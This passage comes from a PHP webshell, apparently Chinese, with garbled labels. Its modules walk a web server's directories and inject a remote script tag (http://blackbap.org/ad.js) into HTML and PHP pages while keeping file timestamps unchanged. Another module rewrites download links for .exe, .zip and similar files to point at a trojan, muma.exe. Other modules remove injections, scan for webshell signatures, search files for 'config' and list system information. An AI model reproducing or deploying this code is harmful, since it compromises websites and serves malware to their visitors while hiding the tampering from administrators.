		echo Guama_Auto($_POST['gp'],$_POST['gt'],$_POST['gl'],$_POST['gc'],$gm,$gf,$_POST['gi'],$gk,$gd,$gb) ? '<a href="#" onclick="history.back();"><3E><><EFBFBD><EFBFBD></a>' : '<a href="#" onclick="history.back();"><3E>쳣<EFBFBD><ECB3A3>ֹ</a>';
		echo '</div>';
		return false;
	}
	$FILE_DIR = File_Str(dirname(__FILE__));
	$ROOT_DIR = File_Mode();
print<<<END
<script language="javascript">
function Fulll(i)
{
	if(i==0) return false;
  Str = new Array(5);
  if(i <= 2){Str[1] = "{$ROOT_DIR}";Str[2] = "{$FILE_DIR}";sform.gp.value = Str[i];}
  else{Str[3] = ".htm|.html|.shtml";Str[4] = ".htm|.html|.shtml|.asp|.php|.cgi|.aspx";Str[5] = ".js";sform.gt.value = Str[i];}
  return true;
}
function autorun()
{
	if(document.getElementById('gp').value == ''){alert('·<><C2B7><EFBFBD><EFBFBD><EFBFBD><EFBFBD>Ϊ<EFBFBD><CEAA>');return false;}
	if(document.getElementById('gt').value == ''){alert('<27><><EFBFBD>Ͳ<EFBFBD><CDB2><EFBFBD>Ϊ<EFBFBD><CEAA>');return false;}
	if(document.getElementById('gc').value == ''){alert('<27><><EFBFBD>벻<EFBFBD><EBB2BB>Ϊ<EFBFBD><CEAA>');return false;}
	document.getElementById('sform').submit();
}
</script>
<form method="POST" name="sform" id="sform" action="?s=b">
<div class="actall" style="height:35px;"><3E><><EFBFBD><EFBFBD>·<EFBFBD><C2B7><input type="text" name="gp" id="gp" value="{$ROOT_DIR}" style="width:500px;">
<select onchange='return Fulll(options[selectedIndex].value)'>
<option value="0" selected>--<2D><>Χѡ<CEA7><D1A1>--</option>
<option value="1"><3E><>վ<EFBFBD><D5BE>Ŀ¼</option>
<option value="2"><3E><><EFBFBD><EFBFBD><EFBFBD><EFBFBD>Ŀ¼</option>
</select></div>
<div class="actall" style="height:35px;"><3E>ļ<EFBFBD><C4BC><EFBFBD><EFBFBD><EFBFBD> <input type="text" name="gt" id="gt" value=".htm|.html|.shtml|.php|.asp|.aspx" style="width:500px;">
<select onchange='return Fulll(options[selectedIndex].value)'>
<option value="0" selected>--<2D><><EFBFBD><EFBFBD>ѡ<EFBFBD><D1A1>--</option>
<option value="3"><3E><>̬<EFBFBD>ļ<EFBFBD></option>
<option value="4"><3E>ű<EFBFBD><C5B1><EFBFBD>̬</option>
<option value="5">JS<4A>ļ<EFBFBD></option>
</select></div>
<div class="actall" style="height:35px;"><3E><><EFBFBD>˶<EFBFBD><CBB6><EFBFBD> <input type="text" name="gl" value="templet|templets|default|editor" style="width:500px;" disabled>
<input type="radio" name="inout" value="a" onclick="gl.disabled=false;"><3E><><EFBFBD><EFBFBD> <input type="radio" name="inout" value="b" onclick="gl.disabled=true;" checked><3E>ر<EFBFBD></div>
<div class="actall"><3E><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> <textarea name="gc" id="gc" style="width:610px;height:180px;">&lt;script language=javascript src="http://blackbap.org/ad.js?[-6-]"&gt;&lt;/script&gt;</textarea>
<div class="msgbox"><3E><><EFBFBD><EFBFBD>˵<EFBFBD><CBB5>: <20><><EFBFBD><EFBFBD><EFBFBD>Զ<EFBFBD>Ѱ<EFBFBD><D1B0>[-6-]<5D><>ǩ,<2C>滻Ϊ<E6BBBB><CEAA><EFBFBD><EFBFBD><EFBFBD>ַ<EFBFBD>,6<><36>ʾ<EFBFBD><CABE>λ<EFBFBD><CEBB><EFBFBD><EFBFBD><EFBFBD>ַ<EFBFBD>,<2C><><EFBFBD><EFBFBD>12λ,<2C><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ο<EFBFBD><CEBF>Բ<EFBFBD><D4B2><EFBFBD>[-6-]<5D><>ǩ.
<br>ʾ<><CABE>: &lt;script language=javascript src="http://blackbap.org/ad.js?EMTDSU"&gt;&lt;/script&gt;</div></div>
<div class="actall" style="height:35px;"><input type="radio" name="gi" value="a" checked><3E><><EFBFBD><EFBFBD>&lt;/head&gt;<3B><>ǩ֮ǰ 
<input type="radio" name="gi" value="b"><3E><><EFBFBD><EFBFBD><EFBFBD>ļ<EFBFBD><C4BC><EFBFBD><EEB6A5><input type="radio" name="gi" value="c"> <20><><EFBFBD><EFBFBD><EFBFBD>ļ<EFBFBD><C4BC><EFBFBD>ĩβ</div>
<div class="actall" style="height:30px;"><input type="checkbox" name="gx" value="1" checked><3E><><EFBFBD>ܹ<EFBFBD><DCB9><EFBFBD><EFBFBD>ظ<EFBFBD><D8B8><EFBFBD><EFBFBD><EFBFBD> <input type="checkbox" name="gd" value="1" checked><3E><><EFBFBD><EFBFBD><EFBFBD>ļ<EFBFBD><C4BC>޸<EFBFBD>ʱ<EFBFBD>䲻<EFBFBD><E4B2BB></div>
<div class="actall" style="height:50px;"><input type="radio" name="gb" value="a" checked><3E><><EFBFBD><EFBFBD><EFBFBD><EFBFBD>Ӧ<EFBFBD><D3A6><EFBFBD>ڸ<EFBFBD><DAB8>ļ<EFBFBD><C4BC><EFBFBD>,<2C><><EFBFBD>ļ<EFBFBD><C4BC>к<EFBFBD><D0BA>ļ<EFBFBD><br><input type="radio" name="gb" value="b"><3E><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>Ӧ<EFBFBD><D3A6><EFBFBD>ڸ<EFBFBD><DAB8>ļ<EFBFBD><C4BC><EFBFBD></div>
<div class="actall"><input type="button" value="<22><>ʼ<EFBFBD><CABC><EFBFBD><EFBFBD>" style="width:80px;height:26px;" onclick="autorun();"></div>
</form>
END;
return true;
}
//<2F><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
function Qingma_Auto($qp,$qt,$qc,$qd,$qb)
{
	if(($h_d = @opendir($qp)) == NULL) return false;
	while(false !== ($Filename = @readdir($h_d)))
	{
		if($Filename == '.' || $Filename == '..') continue;
		$Filepath = File_Str($qp.'/'.$Filename);
		if(is_dir($Filepath) && $qb) Qingma_Auto($Filepath,$qt,$qc,$qd,$qb);
		if(eregi($qt,$Filename))
		{
			$ic = File_Read($Filepath);
			if(!stristr($ic,$qc)) continue;
			$ic = str_replace($qc,'',$ic);
			if($qd) $ftime = @filemtime($Filepath);
			echo File_Write($Filepath,$ic,'wb') ? '<font color="#006600"><3E>ɹ<EFBFBD>:</font>'.$Filepath.' <br>'."\r\n" : '<font color="#FF0000">ʧ<><CAA7>:</font>'.$Filepath.' <br>'."\r\n";
			if($qd) @touch($Filepath,$ftime);
			ob_flush();
			flush();
		}
	}
	@closedir($h_d);
	return true;
}
function Qingma_c()
{
	if((!empty($_POST['qp'])) && (!empty($_POST['qt'])) && (!empty($_POST['qc'])))
	{
		echo '<div class="actall">';
		$qt = str_replace('.','\\.',$_POST['qt']);
		$qd = isset($_POST['qd']) ? true : false;
		$qb = ($_POST['qb'] == 'a') ? true : false;
		echo Qingma_Auto($_POST['qp'],$qt,$_POST['qc'],$qd,$qb) ? '<a href="#" onclick="history.back();"><3E><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD></a>' : '<a href="#" onclick="history.back();"><3E>쳣<EFBFBD><ECB3A3>ֹ</a>';
		echo '</div>';
		return false;
	}
	$FILE_DIR = File_Str(dirname(__FILE__));
	$ROOT_DIR = File_Mode();
print<<<END
<script language="javascript">
function Fullll(i){
	if(i==0) return false;
  Str = new Array(5);
  if(i <= 2){Str[1] = "{$ROOT_DIR}";Str[2] = "{$FILE_DIR}";xform.qp.value = Str[i];}
	else{Str[3] = ".htm|.html|.shtml";Str[4] = ".htm|.html|.shtml|.asp|.php|.jsp|.cgi|.aspx|.do";Str[5] = ".js";xform.qt.value = Str[i];}
  return true;
}
function autoup(){
	if(document.getElementById('qp').value == ''){alert('·<><C2B7><EFBFBD><EFBFBD><EFBFBD><EFBFBD>Ϊ<EFBFBD><CEAA>');return false;}
	if(document.getElementById('qt').value == ''){alert('<27><><EFBFBD>Ͳ<EFBFBD><CDB2><EFBFBD>Ϊ<EFBFBD><CEAA>');return false;}
	if(document.getElementById('qc').value == ''){alert('<27><><EFBFBD>벻<EFBFBD><EBB2BB>Ϊ<EFBFBD><CEAA>');return false;}
	document.getElementById('xform').submit();
}
</script>
<form method="POST" name="xform" id="xform" action="?s=c">
<div class="actall" style="height:35px;"><3E><><EFBFBD><EFBFBD>·<EFBFBD><C2B7> <input type="text" name="qp" id="qp" value="{$ROOT_DIR}" style="width:500px;">
<select onchange='return Fullll(options[selectedIndex].value)'>
<option value="0" selected>--<2D><>Χѡ<CEA7><D1A1>--</option>
<option value="1"><3E><>վ<EFBFBD><D5BE>Ŀ¼</option>
<option value="2"><3E><><EFBFBD><EFBFBD><EFBFBD><EFBFBD>Ŀ¼</option>
</select></div>
<div class="actall" style="height:35px;"><3E>ļ<EFBFBD><C4BC><EFBFBD><EFBFBD><EFBFBD> <input type="text" name="qt" id="qt" value=".htm|.html|.shtml|.asp|.aspx|.php" style="width:500px;">
<select onchange='return Fullll(options[selectedIndex].value)'>
<option value="0" selected>--<2D><><EFBFBD><EFBFBD>ѡ<EFBFBD><D1A1>--</option>
<option value="3"><3E><>̬<EFBFBD>ļ<EFBFBD></option>
<option value="4"><3E>ű<EFBFBD>+<2B><>̬</option>
<option value="5">JS<4A>ļ<EFBFBD></option>
</select></div>
<div class="actall"><3E><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> <textarea name="qc" id="qc" style="width:610px;height:180px;">&lt;script language=javascript src="http://blackbap.org/ad.js"&gt;&lt;/script&gt;</textarea></div>
<div class="actall" style="height:30px;"><input type="checkbox" name="qd" value="1" checked><3E><><EFBFBD><EFBFBD><EFBFBD>ļ<EFBFBD><C4BC>޸<EFBFBD>ʱ<EFBFBD>䲻<EFBFBD><E4B2BB></div>
<div class="actall" style="height:50px;"><input type="radio" name="qb" value="a" checked><3E><><EFBFBD><EFBFBD><EFBFBD><EFBFBD>Ӧ<EFBFBD><D3A6><EFBFBD>ڸ<EFBFBD><DAB8>ļ<EFBFBD><C4BC><EFBFBD>,<2C><><EFBFBD>ļ<EFBFBD><C4BC>к<EFBFBD><D0BA>ļ<EFBFBD>
<br><input type="radio" name="qb" value="b"><3E><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>Ӧ<EFBFBD><D3A6><EFBFBD>ڸ<EFBFBD><DAB8>ļ<EFBFBD><C4BC><EFBFBD></div>
<div class="actall"><input type="button" value="<22><>ʼ<EFBFBD><CABC><EFBFBD><EFBFBD>" style="width:80px;height:26px;" onclick="autoup();"></div>
</form>
END;
	return true;
}
//<2F><><EFBFBD><EFBFBD><EFBFBD>滻
function Tihuan_Auto($tp,$tt,$th,$tca,$tcb,$td,$tb)
{
	if(($h_d = @opendir($tp)) == NULL) return false;
	while(false !== ($Filename = @readdir($h_d)))
	{
		if($Filename == '.' || $Filename == '..') continue;
		$Filepath = File_Str($tp.'/'.$Filename);
		if(is_dir($Filepath) && $tb) Tihuan_Auto($Filepath,$tt,$th,$tca,$tcb,$td,$tb);
		$doing = false;
		if(eregi($tt,$Filename))
		{
			$ic = File_Read($Filepath);
			if($th)
			{
				if(!stristr($ic,$tca)) continue;
				$ic = str_replace($tca,$tcb,$ic);
				$doing = true;
			}
			else
			{
				preg_match_all("/href\=\"([^~]*?)\"/i",$ic,$nc);
				for($i = 0;$i < count($nc[1]);$i++){if(eregi($tca,$nc[1][$i])){$ic = str_replace($nc[1][$i],$tcb,$ic);$doing = true;}}
			}
			if($td) $ftime = @filemtime($Filepath);
			if($doing) echo File_Write($Filepath,$ic,'wb') ? '<font color="#006600"><3E>ɹ<EFBFBD>:</font>'.$Filepath.' <br>'."\r\n" : '<font color="#FF0000">ʧ<><CAA7>:</font>'.$Filepath.' <br>'."\r\n";
			if($td) @touch($Filepath,$ftime);
			ob_flush();
			flush();
		}
	}
	@closedir($h_d);
	return true;
}
function Tihuan_d()
{
	if((!empty($_POST['tp'])) && (!empty($_POST['tt'])))
	{
		echo '<div class="actall">';
		$tt = str_replace('.','\\.',$_POST['tt']);
		$td = isset($_POST['td']) ? true : false;
		$tb = ($_POST['tb'] == 'a') ? true : false;
		$th = ($_POST['th'] == 'a') ? true : false;
		if($th) $_POST['tca'] = str_replace('.','\\.',$_POST['tca']);
		echo Tihuan_Auto($_POST['tp'],$tt,$th,$_POST['tca'],$_POST['tcb'],$td,$tb) ? '<a href="#" onclick="window.location=\'?s=d\'"><3E>滻<EFBFBD><E6BBBB><EFBFBD><EFBFBD></a>' : '<a href="#" onclick="window.location=\'?s=d\'"><3E>쳣<EFBFBD><ECB3A3>ֹ</a>';
		echo '</div>';
		return false;
	}
	$FILE_DIR = File_Str(dirname(__FILE__));
	$ROOT_DIR = File_Mode();
print<<<END
<script language="javascript">
function Fulllll(i){
	if(i==0) return false;
  Str = new Array(5);
  if(i <= 2){Str[1] = "{$ROOT_DIR}";Str[2] = "{$FILE_DIR}";tform.tp.value = Str[i];}
	else{Str[3] = ".htm|.html|.shtml";Str[4] = ".htm|.html|.shtml|.asp|.php|.jsp|.cgi|.aspx|.do";Str[5] = ".js";tform.tt.value = Str[i];}
  return true;
}
function showth(th){
	if(th == 'a') document.getElementById('setauto').innerHTML = '<27><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>:<textarea name="tca" id="tca" style="width:610px;height:100px;"></textarea><br><3E>滻<EFBFBD><E6BBBB>Ϊ:<textarea name="tcb" id="tcb" style="width:610px;height:100px;"></textarea>';
	if(th == 'b') document.getElementById('setauto').innerHTML = '<br><3E><><EFBFBD>غ<EFBFBD>׺ <input type="text" name="tca" id="tca" value=".exe|.7z|.rar|.zip|.gz|.txt" style="width:500px;"><br><br><3E>滻<EFBFBD><E6BBBB>Ϊ <input type="text" name="tcb" id="tcb" value="http://blackbap.org/muma.exe" style="width:500px;">';
	return true;
}
function autoup(){
	if(document.getElementById('tp').value == ''){alert('·<><C2B7><EFBFBD><EFBFBD><EFBFBD><EFBFBD>Ϊ<EFBFBD><CEAA>');return false;}
	if(document.getElementById('tt').value == ''){alert('<27><><EFBFBD>Ͳ<EFBFBD><CDB2><EFBFBD>Ϊ<EFBFBD><CEAA>');return false;}
	if(document.getElementById('tca').value == ''){alert('<27><><EFBFBD>벻<EFBFBD><EBB2BB>Ϊ<EFBFBD><CEAA>');return false;}
	document.getElementById('tform').submit();
}
</script>
<form method="POST" name="tform" id="tform" action="?s=d">
<div class="actall" style="height:35px;"><3E>滻·<E6BBBB><C2B7> <input type="text" name="tp" id="tp" value="{$ROOT_DIR}" style="width:500px;">
<select onchange='return Fulllll(options[selectedIndex].value)'>
<option value="0" selected>--<2D><>Χѡ<CEA7><D1A1>--</option>
<option value="1"><3E><>վ<EFBFBD><D5BE>Ŀ¼</option>
<option value="2"><3E><><EFBFBD><EFBFBD><EFBFBD><EFBFBD>Ŀ¼</option>
</select></div>
<div class="actall" style="height:35px;"><3E>ļ<EFBFBD><C4BC><EFBFBD><EFBFBD><EFBFBD> <input type="text" name="tt" id="tt" value=".htm|.html|.shtml" style="width:500px;">
<select onchange='return Fulllll(options[selectedIndex].value)'>
<option value="0" selected>--<2D><><EFBFBD><EFBFBD>ѡ<EFBFBD><D1A1>--</option>
<option value="3"><3E><>̬<EFBFBD>ļ<EFBFBD></option>
<option value="4"><3E>ű<EFBFBD>+<2B><>̬</option>
<option value="5">JS<4A>ļ<EFBFBD></option>
</select></div>
<div class="actall" style="height:235px;"><input type="radio" name="th" value="a" onclick="showth('a')" checked><3E>滻<EFBFBD>ļ<EFBFBD><C4BC>е<EFBFBD>ָ<EFBFBD><D6B8><EFBFBD><EFBFBD><EFBFBD><EFBFBD> <input type="radio" name="th" value="b" onclick="showth('b')"><3E>滻<EFBFBD>ļ<EFBFBD><C4BC>е<EFBFBD><D0B5><EFBFBD><EFBFBD>ص<EFBFBD>ַ<br>
<div id="setauto"><3E><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> <textarea name="tca" id="tca" style="width:610px;height:100px;"></textarea><br><3E>滻<EFBFBD><E6BBBB>Ϊ <textarea name="tcb" id="tcb" style="width:610px;height:100px;"></textarea></div></div>
<div class="actall" style="height:30px;"><input type="checkbox" name="td" value="1" checked><3E><><EFBFBD><EFBFBD><EFBFBD>ļ<EFBFBD><C4BC>޸<EFBFBD>ʱ<EFBFBD>䲻<EFBFBD><E4B2BB></div>
<div class="actall" style="height:50px;"><input type="radio" name="tb" value="a" checked><3E><><EFBFBD>滻Ӧ<E6BBBB><D3A6><EFBFBD>ڸ<EFBFBD><DAB8>ļ<EFBFBD><C4BC><EFBFBD>,<2C><><EFBFBD>ļ<EFBFBD><C4BC>к<EFBFBD><D0BA>ļ<EFBFBD>
<br><input type="radio" name="tb" value="b"><3E><><EFBFBD><EFBFBD><EFBFBD>滻Ӧ<E6BBBB><D3A6><EFBFBD>ڸ<EFBFBD><DAB8>ļ<EFBFBD><C4BC><EFBFBD></div>
<div class="actall"><input type="button" value="<22><>ʼ<EFBFBD>滻" style="width:80px;height:26px;" onclick="autoup();"></div>
</form>
END;
return true;
}
//ɨ<><C9A8>ľ<EFBFBD><C4BE>
function Antivirus_Auto($sp,$features,$st,$sb)
{
	if(($h_d = @opendir($sp)) == NULL) return false;
	$ROOT_DIR = File_Mode();
	while(false !== ($Filename = @readdir($h_d)))
	{
		if($Filename == '.' || $Filename == '..') continue;
		$Filepath = File_Str($sp.'/'.$Filename);
		if(is_dir($Filepath) && $sb) Antivirus_Auto($Filepath,$features,$st);
		if(eregi($st,$Filename))
		{
			if($Filepath == File_Str(__FILE__)) continue;
			$ic = File_Read($Filepath);
			foreach($features as $var => $key)
			{
				if(stristr($ic,$key))
				{
					$Fileurls = str_replace($ROOT_DIR,'http://'.$_SERVER['SERVER_NAME'].'/',$Filepath);
					$Filetime = @date('Y-m-d H:i:s',@filemtime($Filepath));
					echo ' <a href="'.$Fileurls.'" target="_blank"> <font color="#8B0000"> '.$Filepath.' </font> </a> <br> <20><><a href="?s=e&fp='.urlencode($sp).'&fn='.$Filename.'&dim='.urlencode($key).'" target="_blank"> <20>༭ </a> <a href="?s=e&df='.urlencode($Filepath).'" target="_blank"> ɾ<><C9BE> </a> <20><> ';
					echo ' <20><> '.$Filetime.' <20><> <font color="#FF0000"> '.$var.' </font> <br> <br> '."\r\n";
					break;
				}
			}
			ob_flush();
			flush();
		}
	}
	@closedir($h_d);
	return true;
}

function Antivirus_e()
{
	if(!empty($_GET['df'])){echo $_GET['df'];if(@unlink($_GET['df'])){echo 'ɾ<><C9BE><EFBFBD>ɹ<EFBFBD>';}else{@chmod($_GET['df'],0666);echo @unlink($_GET['df']) ? 'ɾ<><C9BE><EFBFBD>ɹ<EFBFBD>' : 'ɾ<><C9BE>ʧ<EFBFBD><CAA7>';} return false;}
	if((!empty($_GET['fp'])) && (!empty($_GET['fn'])) && (!empty($_GET['dim']))) { File_Edit($_GET['fp'],$_GET['fn'],$_GET['dim']); return false; }
	$SCAN_DIR = isset($_POST['sp']) ? $_POST['sp'] : File_Mode();
	$features_php = array('evalһ<6C>仰<EFBFBD><E4BBB0><EFBFBD><EFBFBD>'=>'eval(','<27><><EFBFBD><EFBFBD>read<61><64><EFBFBD><EFBFBD>'=>'->read()','<27><><EFBFBD><EFBFBD>readdir<69><72><EFBFBD><EFBFBD>3'=>'readdir(','MYSQL<51>Զ<EFBFBD><D4B6>庯<EFBFBD><E5BAAF><EFBFBD><EFBFBD><EFBFBD><EFBFBD>'=>'returns string soname','<27><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>1'=>'eval(gzinflate(','<27><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>2'=>'eval(base64_decode(','<27><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>3'=>'base64_decode(','evalһ<6C>仰2'=>'eval (','php<68><70><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>'=>'copy($_FILES','<27><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>2'=>'copy ($_FILES','<27>ϴ<EFBFBD><CFB4><EFBFBD><EFBFBD><EFBFBD>'=>'move_uploaded_file($_FILES','<27>ϴ<EFBFBD><CFB4><EFBFBD><EFBFBD><EFBFBD>2'=>'move_uploaded_file ($_FILES','С<><D0A1><EFBFBD><EFBFBD><EFBFBD><EFBFBD>'=>'str_replace(\'\\\\\',\'/\',');
	$features_asx = array('<27>ű<EFBFBD><C5B1><EFBFBD><EFBFBD><EFBFBD>'=>'VBScript.Encode','<27><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>'=>'#@~^','fso<73><6F><EFBFBD><EFBFBD>'=>'fso.createtextfile(path,true)','excuteһ<65>仰'=>'execute','evalһ<6C>仰'=>'eval','wscript<70><74><EFBFBD><EFBFBD>'=>'F935DC22-1CF0-11D0-ADB9-00C04FD58A0B','<27><><EFBFBD>ݿ<EFBFBD><DDBF><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>'=>'13709620-C279-11CE-A49E-444553540000','wscript<70><74><EFBFBD><EFBFBD>'=>'WScript.Shell','fso<73><6F><EFBFBD><EFBFBD>'=>'0D43FE01-F093-11CF-8940-00A0C9054228','ʮ<><CAAE><EFBFBD><EFBFBD><EFBFBD><EFBFBD>'=>'<27><><EFBFBD><EFBFBD>','aspx<70><78><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>'=>'Process.GetProcesses','aspxһ<78>仰'=>'Request.BinaryRead');
print<<<END
<form method="POST" name="tform" id="tform" action="?s=e">
<div class="actall">ɨ<><C9A8>·<EFBFBD><C2B7> <input type="text" name="sp" id="sp" value="{$SCAN_DIR}" style="width:600px;"></div>
<div class="actall">ľ<><C4BE><EFBFBD><EFBFBD><EFBFBD><EFBFBD> <input type="checkbox" name="stphp" value="php" checked>phpľ<70><C4BE> 
<input type="checkbox" name="stasx" value="asx">asp+aspxľ<78><C4BE></div>
<div class="actall" style="height:50px;"><input type="radio" name="sb" value="a" checked><3E><>ɨ<EFBFBD><C9A8>Ӧ<EFBFBD><D3A6><EFBFBD>ڸ<EFBFBD><DAB8>ļ<EFBFBD><C4BC><EFBFBD>,<2C><><EFBFBD>ļ<EFBFBD><C4BC>к<EFBFBD><D0BA>ļ<EFBFBD>
<br><input type="radio" name="sb" value="b"><3E><><EFBFBD><EFBFBD>ɨ<EFBFBD><C9A8>Ӧ<EFBFBD><D3A6><EFBFBD>ڸ<EFBFBD><DAB8>ļ<EFBFBD><C4BC><EFBFBD></div>
<div class="actall"><input type="submit" value="<22><>ʼɨ<CABC><C9A8>" style="width:80px;"></div>
</form>
END;
if(!empty($_POST['sp']))
{
	echo '<div class="actall">';
	if(isset($_POST['stphp'])){$features_all = $features_php; $st = '\.php|\.inc|\;';}
	if(isset($_POST['stasx'])){$features_all = $features_asx; $st = '\.asp|\.asa|\.cer|\.aspx|\.ascx|\;';}
	if(isset($_POST['stphp']) && isset($_POST['stasx'])){$features_all = array_merge($features_php,$features_asx); $st = '\.php|\.inc|\.asp|\.asa|\.cer|\.aspx|\.ascx|\;';}
	$sb = ($_POST['sb'] == 'a') ? true : false;
	echo Antivirus_Auto($_POST['sp'],$features_all,$st,$sb) ? 'ɨ<><C9A8><EFBFBD><EFBFBD><EFBFBD><EFBFBD>' :  '<27>쳣<EFBFBD><ECB3A3>ֹ';
	echo '</div>';
}
return true;
}
//<2F><><EFBFBD><EFBFBD><EFBFBD>ļ<EFBFBD>
function Findfile_Auto($sfp,$sfc,$sft,$sff,$sfb)
{
	//echo $sfp.'<br>'.$sfc.'<br>'.$sft.'<br>'.$sff.'<br>'.$sfb;
	if(($h_d = @opendir($sfp)) == NULL) return false;
	while(false !== ($Filename = @readdir($h_d)))
	{
		if($Filename == '.' || $Filename == '..') continue;
		if(eregi($sft,$Filename)) continue;
		$Filepath = File_Str($sfp.'/'.$Filename);
		if(is_dir($Filepath) && $sfb) Findfile_Auto($Filepath,$sfc,$sft,$sff,$sfb);
		if($sff)
		{
			if(stristr($Filename,$sfc))
			{
				echo '<a target="_blank" href="?s=p&fp='.urlencode($sfp).'&fn='.urlencode($Filename).'"> '.$Filepath.' </a><br>'."\r\n";
				ob_flush();
				flush();
			}
		}
		else
		{
			$File_code = File_Read($Filepath);
			if(stristr($File_code,$sfc))
			{
				echo '<a target="_blank" href="?s=p&fp='.urlencode($sfp).'&fn='.urlencode($Filename).'"> '.$Filepath.' </a><br>'."\r\n";
				ob_flush();
				flush();
			}
		}
	}
	@closedir($h_d);
	return true;
}
function Findfile_j()
{
	if(!empty($_GET['df'])){echo $_GET['df'];if(@unlink($_GET['df'])){echo 'ɾ<><C9BE><EFBFBD>ɹ<EFBFBD>';}else{@chmod($_GET['df'],0666);echo @unlink($_GET['df']) ? 'ɾ<><C9BE><EFBFBD>ɹ<EFBFBD>' : 'ɾ<><C9BE>ʧ<EFBFBD><CAA7>';} return false;}
	if((!empty($_GET['fp'])) && (!empty($_GET['fn'])) && (!empty($_GET['dim']))) { File_Edit($_GET['fp'],$_GET['fn'],$_GET['dim']); return false; }
	$SCAN_DIR = isset($_POST['sfp']) ? $_POST['sfp'] : File_Mode();
	$SCAN_CODE = isset($_POST['sfc']) ? $_POST['sfc'] : 'config';
	$SCAN_TYPE = isset($_POST['sft']) ? $_POST['sft'] : '.mp3|.mp4|.avi|.swf|.jpg|.gif|.png|.bmp|.gho|.rar|.exe|.zip';
print<<<END
<form method="POST" name="jform" id="jform" action="?s=j">
<div class="actall">ɨ<><C9A8>·<EFBFBD><C2B7> <input type="text" name="sfp" value="{$SCAN_DIR}" style="width:600px;"></div>
<div class="actall"><3E><><EFBFBD><EFBFBD><EFBFBD>ļ<EFBFBD> <input type="text" name="sft" value="{$SCAN_TYPE}" style="width:600px;"></div>
<div class="actall"><3E>ؼ<EFBFBD><D8BC>ִ<EFBFBD> <input type="text" name="sfc" value="{$SCAN_CODE}" style="width:395px;">
<input type="radio" name="sff" value="a" checked><3E><><EFBFBD><EFBFBD><EFBFBD>ļ<EFBFBD><C4BC><EFBFBD> 
<input type="radio" name="sff" value="b"><3E><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD></div>
<div class="actall" style="height:50px;"><input type="radio" name="sfb" value="a" checked><3E><><EFBFBD><EFBFBD><EFBFBD><EFBFBD>Ӧ<EFBFBD><D3A6><EFBFBD>ڸ<EFBFBD><DAB8>ļ<EFBFBD><C4BC><EFBFBD>,<2C><><EFBFBD>ļ<EFBFBD><C4BC>к<EFBFBD><D0BA>ļ<EFBFBD>
<br><input type="radio" name="sfb" value="b"><3E><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>Ӧ<EFBFBD><D3A6><EFBFBD>ڸ<EFBFBD><DAB8>ļ<EFBFBD><C4BC><EFBFBD></div>
<div class="actall"><input type="submit" value="<22><>ʼɨ<CABC><C9A8>" style="width:80px;"></div>
</form>
END;
	if((!empty($_POST['sfp'])) && (!empty($_POST['sfc'])))
	{
		echo '<div class="actall">';
		$_POST['sft'] = str_replace('.','\\.',$_POST['sft']);
		$sff = ($_POST['sff'] == 'a') ? true : false;
		$sfb = ($_POST['sfb'] == 'a') ? true : false;
		echo Findfile_Auto($_POST['sfp'],$_POST['sfc'],$_POST['sft'],$sff,$sfb) ? '<27><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>' : '<27>쳣<EFBFBD><ECB3A3>ֹ';
		echo '</div>';
	}
	return true;
}
//ϵͳ<CFB5><CDB3>Ϣ
function Info_Cfg($varname){switch($result = get_cfg_var($varname)){case 0: return "No"; break; case 1: return "Yes"; break; default: return $result; break;}}
function Info_Fun($funName){return (false !== function_exists($funName)) ? "Yes" : "No";}
function Info_f()
{
	$dis_func = get_cfg_var("disable_functions");
	$upsize = get_cfg_var("file_uploads") ? get_cfg_var("upload_max_filesize") : "<22><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ϴ<EFBFBD>";
	$adminmail = (isset($_SERVER['SERVER_ADMIN'])) ? "<a href=\"mailto:".$_SERVER['SERVER_ADMIN']."\">".$_SERVER['SERVER_ADMIN']."</a>" : "<a href=\"mailto:".get_cfg_var("sendmail_from")."\">".get_cfg_var("sendmail_from")."</a>";
	if($dis_func == ""){$dis_func = "No";}else{$dis_func = str_replace(" ","<br>",$dis_func);$dis_func = str_replace(",","<br>",$dis_func);}
	$phpinfo = (!eregi("phpinfo",$dis_func)) ? "Yes" : "No";
	$info = array(
		array("<22><><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ʱ<EFBFBD><CAB1>",date("Y<><59>m<EFBFBD><6D>d<EFBFBD><64> h:i:s",time())),
		array("<22><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>","<a href=\"http://".$_SERVER['SERVER_NAME']."\" target=\"_blank\">".$_SERVER['SERVER_NAME']."</a>"),
		array("<22><><EFBFBD><EFBFBD><EFBFBD><EFBFBD>IP<49><50>ַ",gethostbyname($_SERVER['SERVER_NAME'])),
		array("<22><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ϵͳ",PHP_OS),
